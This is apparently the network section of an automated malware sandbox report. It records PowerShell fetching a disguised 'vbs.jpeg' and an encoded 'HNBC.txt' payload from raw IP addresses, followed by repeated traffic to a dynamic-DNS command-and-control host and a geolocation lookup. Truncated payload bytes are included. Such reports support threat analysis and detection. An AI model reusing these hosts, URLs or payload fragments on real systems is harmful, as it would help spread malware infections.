Jul 27, 2024 13:30:08.451098919 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.451252937 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.451267958 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.451283932 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.451284885 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.451317072 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.501808882 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.502058983 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.502094984 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.502105951 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.502113104 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.502151012 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.502266884 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.502281904 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.502296925 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.502316952 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.502438068 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.502453089 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.502470016 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.502471924 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.502501965 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.502644062 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.502736092 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.502757072 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.502769947 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.502772093 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.502788067 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.502804041 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.502809048 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.502835035 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.503004074 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.503019094 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.503034115 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.503047943 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.503053904 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.503062963 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.503082991 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.503084898 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.503099918 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.503114939 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.503114939 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.503129959 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.503144026 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.503145933 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.503161907 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.503175974 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.503717899 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.503734112 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.503750086 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.503753901 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.503765106 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.503777981 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.503779888 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.503796101 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.503809929 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.503810883 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.503848076 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.504112959 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.504127026 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.504141092 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.504156113 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.504163027 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.504169941 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.504188061 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.504192114 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.504206896 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.504220963 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.504225016 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.504236937 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.504251003 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.504251003 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.504267931 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.504281044 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.504281998 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.504297018 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.504312038 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.504323006 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.504327059 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.504344940 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.504973888 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.505007029 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.805993080 CEST	80	49734	178.237.33.50	192.168.2.4
Jul 27, 2024 13:30:08.806152105 CEST	49734	80	192.168.2.4	178.237.33.50
Jul 27, 2024 13:30:09.839868069 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:09.845014095 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:09.845043898 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:09.845057011 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:09.845088005 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:09.845099926 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:09.845110893 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:09.845124960 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:09.845125914 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:09.845125914 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:09.845135927 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:09.845144987 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:09.845489979 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:09.850065947 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:09.850122929 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:09.850136042 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:09.850148916 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:09.850212097 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:09.850426912 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:09.851082087 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:09.851139069 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:21.992137909 CEST	18576	49732	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:21.993563890 CEST	49732	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:21.998408079 CEST	18576	49732	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:52.006450891 CEST	18576	49732	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:52.008332968 CEST	49732	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:52.016222000 CEST	18576	49732	192.3.101.142	192.168.2.4
Jul 27, 2024 13:31:22.048305988 CEST	18576	49732	192.3.101.142	192.168.2.4
Jul 27, 2024 13:31:22.049952030 CEST	49732	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:31:22.056227922 CEST	18576	49732	192.3.101.142	192.168.2.4
Jul 27, 2024 13:31:52.056225061 CEST	18576	49732	192.3.101.142	192.168.2.4
Jul 27, 2024 13:31:52.059978008 CEST	49732	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:31:52.064846992 CEST	18576	49732	192.3.101.142	192.168.2.4
Jul 27, 2024 13:31:57.120460987 CEST	49734	80	192.168.2.4	178.237.33.50
Jul 27, 2024 13:31:57.497565031 CEST	49734	80	192.168.2.4	178.237.33.50
Jul 27, 2024 13:31:58.135823011 CEST	49734	80	192.168.2.4	178.237.33.50
Jul 27, 2024 13:31:59.340537071 CEST	49734	80	192.168.2.4	178.237.33.50
Jul 27, 2024 13:32:01.838931084 CEST	49734	80	192.168.2.4	178.237.33.50
Jul 27, 2024 13:32:06.730864048 CEST	49734	80	192.168.2.4	178.237.33.50

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 27, 2024 13:30:05.274147987 CEST	52020	53	192.168.2.4	1.1.1.1
Jul 27, 2024 13:30:05.409154892 CEST	53	52020	1.1.1.1	192.168.2.4
Jul 27, 2024 13:30:07.132021904 CEST	61803	53	192.168.2.4	1.1.1.1
Jul 27, 2024 13:30:07.145117044 CEST	53	61803	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 27, 2024 13:30:05.274147987 CEST	192.168.2.4	1.1.1.1	0xe3ea	Standard query (0)	maveing.duckdns.org	A (IP address)	IN (0x0001)	false
Jul 27, 2024 13:30:07.132021904 CEST	192.168.2.4	1.1.1.1	0xf42	Standard query (0)	geoplugin.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 27, 2024 13:30:05.409154892 CEST	1.1.1.1	192.168.2.4	0xe3ea	No error (0)	maveing.duckdns.org		192.3.101.142	A (IP address)	IN (0x0001)	false
Jul 27, 2024 13:30:07.145117044 CEST	1.1.1.1	192.168.2.4	0xf42	No error (0)	geoplugin.net		178.237.33.50	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

198.46.176.133

192.3.176.154

geoplugin.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	198.46.176.133	80	6744	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 13:30:01.596431971 CEST	79	OUT	GET /Upload/vbs.jpeg HTTP/1.1 Host: 198.46.176.133 Connection: Keep-Alive
Jul 27, 2024 13:30:02.120834112 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 11:30:02 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed, 10 Jul 2024 11:19:54 GMT ETag: "1d7285-61ce2d35c4b0c" Accept-Ranges: bytes Content-Length: 1929861 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/jpeg Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 d1 52 62 f0 15 72 82 92 e1 24 33 a2 b2 d2 f1 16 43 53 c2 08 34 63 17 25 35 36 73 93 e2 26 44 83 54 74 b3 c3 18 a3 d3 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#BRbr$3CS4c%56s&DTt?~5sRM9RWhco#4q7[B6v^Tgc"TY_xWeXBX50xFs,/Qcq2lyoT^=ofRGZ>(O5ceu;XG8s!u_.?,~XW!?$[8j=>gA>jz[WX)jO:q3n3VmmPo.TzccJAV9gp4;p7!vS~B]b#vo.%6i!?5<IOK~klm(=B,xGU5Pay'rErv^uYt70ur$UxA-OF9>uI^O^gy4A
Jul 27, 2024 13:30:02.120898008 CEST	1236	IN	Data Raw: 70 9b 99 a5 de dc d9 e7 e1 ce 43 2e e2 4a 8e 39 fe 78 02 c9 15 df 24 ae de 08 e7 2c 17 69 24 8e 7b 60 55 94 81 c7 4c a8 bb e3 ae 15 ce e5 07 b6 50 29 ea 0d 60 10 48 c8 01 dc 6f b8 39 7f 3d ea fd 23 e0 3b e0 36 37 b7 d7 2c 8b 66 89 a0 d8 06 67 04 Data Ascii: pC.J9x$,i${`ULP)`Ho9=#;67,fg+{NmXm2CS(+"]meHR87j(3N{d"a``QX;e0`Y8l`XLOn{eXadN(ma]pQrXpIJI:
Jul 27, 2024 13:30:02.120934010 CEST	1236	IN	Data Raw: 63 4c e9 0c 70 5c 60 8b 36 0f cc 64 96 29 a7 24 a9 e9 db 04 b1 2c ba 65 63 a8 00 29 e4 1e d8 02 dc fe 71 28 36 96 3e 9e 68 01 7c 65 b5 29 32 1b 96 cb 29 da 5b 75 f3 d7 0f f7 64 91 77 19 d5 52 bd 3c 65 9a 04 3a 32 ad 39 dc be aa 2b d7 e5 80 9c 9a Data Ascii: cLp\`6d)$,ec)q(6>h\|e)2)[udwR<e:29+,AOQlAy1H=h?K.TMKxajg$jkV1SGA13E0DoE~52>)X5OnFQMuQMVy#o\>5$0!\DYX`
Jul 27, 2024 13:30:02.121208906 CEST	1236	IN	Data Raw: eb 61 9b 1b 8e 59 08 20 77 ef 81 b5 2f 89 15 06 c9 2d 5c 6d c4 1f 54 e1 fc c6 72 37 71 4c 7a fc b1 32 69 85 9d cc 4f 37 99 5a ed 73 b7 89 69 f4 b6 41 17 25 1f 6e 47 18 1b 52 eb 3f 7b cf 4f 7c 13 6a 06 e0 43 7d 31 39 81 65 b0 7b e5 51 59 85 12 70 Data Ascii: aY w/-\mTr7qLz2iO7ZsiA%nGR?{O\|jC}19e{QYpXjp,GW$Uq^BV@.P{;0k`o`YMItwC$eE+0xfJ.NyW,sEui`/eh?OQQ#y1XOO5A`1-W(=+ED
Jul 27, 2024 13:30:02.121242046 CEST	1236	IN	Data Raw: 57 5c 80 2a 60 74 ef 64 8b 00 03 63 8e 98 1e 82 09 cb 79 72 9a da 0d d1 1c e0 55 27 3a a2 c1 88 8d 89 24 5f e9 81 f0 fd e8 19 a5 05 a4 6e 83 fc 39 a0 a4 35 58 1f 2b c0 4b 59 a2 d2 95 f3 59 5c 16 34 0a 11 c6 66 a4 fa 8d 1b 95 0c 5e 26 fe 12 6c 30 Data Ascii: W\`tdcyrU':$_n95X+KYY\4f^&l08<KHSQ7Y3&S\p)3v'r:/>2HPscb.F$e%zIMJ.D7}##H ml6fm"7LyF
Jul 27, 2024 13:30:02.121294022 CEST	1236	IN	Data Raw: 06 4f 0b d1 be 96 3d 34 91 ab 2a 0a 56 dd 44 fc 6f df 03 c5 b9 32 29 42 6c d7 5a ba c1 4e ab b5 4a a6 c2 a2 98 ef 27 77 c6 b3 d1 ff 00 f0 c7 fd a9 48 d4 a9 80 9b 60 45 30 1f 0c 3e a7 c1 f4 d0 68 e6 54 49 5c b0 f4 95 50 cc be d5 df ae 07 8f 50 c6 Data Ascii: O=4*VDo2)BlZNJ'wH`E0>hTI\PP@"c4J22)Fpc,i^Hm4q`w12>8miUnq`f7m(/=EDZ}=>G7'BfHH8iV;B?{<i3nYvb}<
Jul 27, 2024 13:30:02.121330023 CEST	1236	IN	Data Raw: 0d 34 6e c8 f4 ec 25 2c 79 da 45 d0 fc ab 03 61 20 d3 6d dd b1 16 bd 94 56 56 5d 3e 92 65 37 1a 5d 75 0b 99 9a 6d 43 a4 c1 0e 9a c9 dc 4b 95 da c3 9e e7 f8 b1 d9 4b ad 3a 00 3e 7d 30 31 fc 69 61 85 16 38 c2 07 2d b8 ed 51 d2 b1 3d 0a 22 d3 b9 a2 Data Ascii: 4n%,yEa mVV]>e7]umCKK:>}01ia8-Q="O_!;jzEcn'J]h0T5xr]UCK)\Foi2(3++GE/&8eU[:dW)V?L(D(E7,h$`c}f )nsgS
Jul 27, 2024 13:30:02.121788025 CEST	1236	IN	Data Raw: 47 2d be 6b bb a0 06 3f 04 cd 0a 82 f0 2c 8a dc 0d d8 1e b9 be da e9 18 d7 95 29 3d bd 57 94 7f b7 3a 54 50 7e eb 2b 3d 55 93 9e 6a 2d 56 9b 54 ac 53 49 12 95 34 48 26 ef 17 95 d7 cc 56 11 2f c4 73 c6 07 a8 9b ed f6 8a 14 2c 74 ce 1a ba 6e ac cb Data Ascii: G-k?,)=W:TP~+=Uj-VTSI4H&V/s,tnK MCsnk}0i>?3_cFi7AlSxtQMFzxYl``sA#~j9}$j}0=pk`ESqHx1>~M.#z_
Jul 27, 2024 13:30:02.121819973 CEST	1236	IN	Data Raw: 3a 99 d6 dd ca ee 08 39 b5 20 96 f8 90 cc 09 cc fd 27 88 be 9f 49 a9 63 23 22 95 65 76 50 3d 41 81 1b 78 17 54 4e 01 24 f0 ff 00 0e d2 6b df 67 87 4a 49 a8 80 91 1e 22 24 60 76 95 2c c7 72 fa 4f 2d 5d af a9 cf 36 f3 69 54 ca 93 c3 b9 dc ee 49 76 Data Ascii: :9 'Ic#"evP=AxTN$kgJI"$`v,rO-]6iTIv14jpIF.UbX$Yi\|QUB81k}w1"eP}0cQ!KAN=5; oVuvH[J}I#k&>$"d)v
Jul 27, 2024 13:30:02.121855021 CEST	1236	IN	Data Raw: e0 67 6d c5 09 50 73 52 24 48 68 f9 44 b3 77 1d f0 00 be 1c 8d 09 7d c4 1b e9 8e 26 91 5f 44 04 67 d4 3a 7b 93 f1 cd 08 d0 08 8b 88 5b 81 7c f7 39 63 ab 54 8e 35 8e 05 5e 79 38 19 51 46 9a 92 f1 3a 95 65 50 2c 71 cd f2 79 c1 6a 22 68 11 63 0d 61 Data Ascii: gmPsR$HhDw}&_Dg:{[\|9cT5^y8QF:eP,qyj"hca]4hv!)Q#=qr%N'IG[u{AMB<!lsR>C!6yx$XjO~k !<=o4s$,fYz,qtUx+,NG*)UeUe
Jul 27, 2024 13:30:02.127259016 CEST	1236	IN	Data Raw: 1d bc 4e 78 3c 18 cf 20 06 49 5b 6c 6b 5c 02 6e b9 f6 eb 87 9f 4d e2 6d 0f 99 0e b8 34 86 ed 55 56 af b8 07 03 40 09 37 72 48 f6 ac 29 91 c8 0c c0 0a 1c 57 7f 9e 23 e1 52 6a df 4b bf 56 de b2 68 02 a0 1f 6e d8 fb 80 c4 03 db 03 cc 78 9c 1a d8 b5 Data Ascii: Nx< I[lk\nMm4UV@7rH)W#RjKVhnxZ$T}&6FhQ&2+eEqv<G+ZGO!"=y#_o^m Pq.by/Dh-6q'@4)*}eb-G=\r(,}if,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	192.3.176.154	80	6744	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 13:30:04.074002981 CEST	74	OUT	GET /50/HNBC.txt HTTP/1.1 Host: 192.3.176.154 Connection: Keep-Alive
Jul 27, 2024 13:30:04.548584938 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 11:30:04 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Fri, 26 Jul 2024 01:08:07 GMT ETag: "a1000-61e1c24e75450" Accept-Ranges: bytes Content-Length: 659456 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 38 67 4b 50 49 79 44 62 38 77 45 50 73 77 44 43 37 77 2f 4f 63 76 44 73 37 51 35 4f 30 74 44 56 37 41 7a 4f 51 6f 44 37 36 77 73 4f 73 71 44 6a 36 77 6d 4f 45 70 44 4b 36 41 68 4f 49 6f 44 42 36 41 51 4f 38 6e 44 2b 35 51 66 4f 67 4f 44 4e 7a 41 6a 4d 6b 4b 44 6f 79 51 6f 4d 41 4b 44 66 79 41 6e 4d 59 4a 44 53 79 67 6a 4d 6f 49 44 47 78 67 65 4d 59 48 44 31 78 41 64 4d 4d 48 44 79 78 51 63 4d 41 48 44 76 78 67 62 4d 73 47 44 71 78 51 61 4d 67 47 44 6e 78 67 5a 4d 55 47 44 6b 78 77 59 4d 49 47 44 65 78 51 58 4d 77 42 41 41 41 77 49 41 48 41 42 41 41 41 67 50 6b 36 44 6b 2b 67 6f 50 30 35 44 62 2b 51 6d 50 63 35 44 57 2b 41 6c 50 38 34 44 4e 2b 41 69 50 59 34 44 45 2b 67 67 50 45 34 44 41 39 77 66 50 34 33 44 38 39 77 65 50 6b 33 44 30 39 67 63 50 30 32 44 72 39 51 61 50 63 32 44 65 39 41 [TRUNCATED] Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8gKPIyDb8wEPswDC7w/OcvDs7Q5O0tDV7AzOQoD76wsOsqDj6wmOEpDK6AhOIoDB6AQO8nD+5QfOgODNzAjMkKDoyQoMAKDfyAnMYJDSygjMoIDGxgeMYHD1xAdMMHDyxQcMAHDvxgbMsGDqxQaMgGDnxgZMUGDkxwYMIGDexQXMwBAAAwIAHABAAAgPk6Dk+goP05Db+QmPc5DW+AlP84DN+AiPY4DE+ggPE4DA9wfP43D89wePk3D09gcP02Dr9QaPc2De9AXPo1DZ9gUPo0DJ9gAPozDy8gKPIyDa8gEPowDC7g+OIvDq7g4OotDS7gyOIoD66gsOoqDi6gmOIpDK6QiOIkD65gcOomDi5wWOolDY5AUOgkDA4AOOAjDo4AIOghDQ4ACOEcD+3g9N4eDm3g3NYdDO3ghN4bD52wtNYbD02gsNAbDv2ApNIaDf2glNIZDR2giNkYDD2ggNAUD51AeNYXDp1gZN4VDb1AUNsUDJ1ASNcUDF1wQNEQD80gONkTD40gNNQTDy0QLNsSDm0AJNMSDi0AIN4RDc0wFNURDU0gENARDO0QDNYQDFzw/MsPDuzA7MkODlzA2MYNDTzwzMIMDAyQvMkLDsygqMcKDjyglMQJDRyQjMAED+xweMcHDqxAaMUGDhxAVMIFDPxwCM4DD8wQOMcDD1wAKMYCDjwQIM8BDSwAEM0ADLwQCAAEAkAYA4AAAA/A/Po/D3/w8PY+Dk/Q4P09DQ/gzPs8DH/wgP47Dt+wqPg6Dk+AoPs5DK+AiPU4DB9AdPInDe5AWOYlDV5AVOAlDP5wSOUkDD5gQOEkDA4wPO4jD64QOOUjDv4QLOwiDr4
Jul 27, 2024 13:30:04.548633099 CEST	1236	IN	Data Raw: 67 4b 4f 6b 69 44 6f 34 41 4a 4f 4d 69 44 66 34 51 47 4f 63 68 44 57 34 51 46 4f 51 68 44 54 34 77 44 4f 34 67 44 4b 34 41 42 4f 49 67 44 42 34 41 77 4e 38 66 44 2b 33 67 2b 4e 6b 66 44 31 33 77 37 4e 30 65 44 73 33 77 36 4e 63 65 44 6d 33 67 34 Data Ascii: gKOkiDo4AJOMiDf4QGOchDW4QFOQhDT4wDO4gDK4ABOIgDB4AwN8fD+3g+NkfD13w7N0eDs3w6NceDm3g4NEeDd3w1NUdDU3A0NocDI3wxNYcDF3QgNsbD62AtNIbDx2AsN8aDu2gqNkaDl2wnN0ZDc2AmNcZDT2QjNsYDK2QiNUYDE2AQNoXD41wdNYXD11QcNAXDs1gZNQWDj1gYNEWDd1AXNgVDS1AUN8UDO1gSNkUDF0wPN
Jul 27, 2024 13:30:04.548669100 CEST	1236	IN	Data Raw: 78 44 52 38 77 44 50 30 77 44 4c 38 51 43 50 63 77 44 46 38 77 41 50 45 73 44 2f 37 51 2f 4f 73 76 44 35 37 77 39 4f 55 76 44 7a 37 51 38 4f 38 75 44 74 37 77 36 4f 6b 75 44 6e 37 51 35 4f 4d 75 44 68 37 77 33 4f 30 74 44 62 37 51 32 4f 63 74 44 Data Ascii: xDR8wDP0wDL8QCPcwDF8wAPEsD/7Q/OsvD57w9OUvDz7Q8O8uDt7w6OkuDn7Q5OMuDh7w3O0tDb7Q2OctDV7w0OEtDP7QzOssDJ7wxOUsDD7QgO8rD96wuOkrD36QtOMrDx6wrO0qDr6QqOcqDl6woOEqDf6QnOspDZ6wlOUpDT6QkO8oDN6wiOkoDH6QhOMoDB5wfO0nD75QeOcnD15wcOEnDv5QbOsmDp5wZOUmDj5QYO8lDd
Jul 27, 2024 13:30:04.548702002 CEST	672	IN	Data Raw: 77 77 4f 49 41 41 41 41 41 4f 41 46 41 4f 41 41 41 41 4e 55 53 44 6b 30 77 49 4e 49 53 44 68 30 41 49 4e 38 52 44 65 30 51 48 4e 77 52 44 62 30 67 47 4e 6b 52 44 59 30 77 46 4e 59 52 44 55 30 77 45 4e 49 52 44 52 30 41 45 4e 38 51 44 4e 30 67 43 Data Ascii: wwOIAAAAAOAFAOAAAANUSDk0wINISDh0AIN8RDe0QHNwRDb0gGNkRDY0wFNYRDU0wENIRDR0AEN8QDN0gCNkQDI0wBNYQDF0ABNMQDB0AwM8PD+zQ/MwPD7zg+MgPD2AAAAcBQBQDgOsrD66QuOgrD36gtOUrD06wsOIrDx6AsO8qDu6QrOwqDr6gqOkqDo6wpOYqDl6ApOMqDi6QoOAqDf6gnO0pDc6wmOopDZ6AmOcpDW6QlO
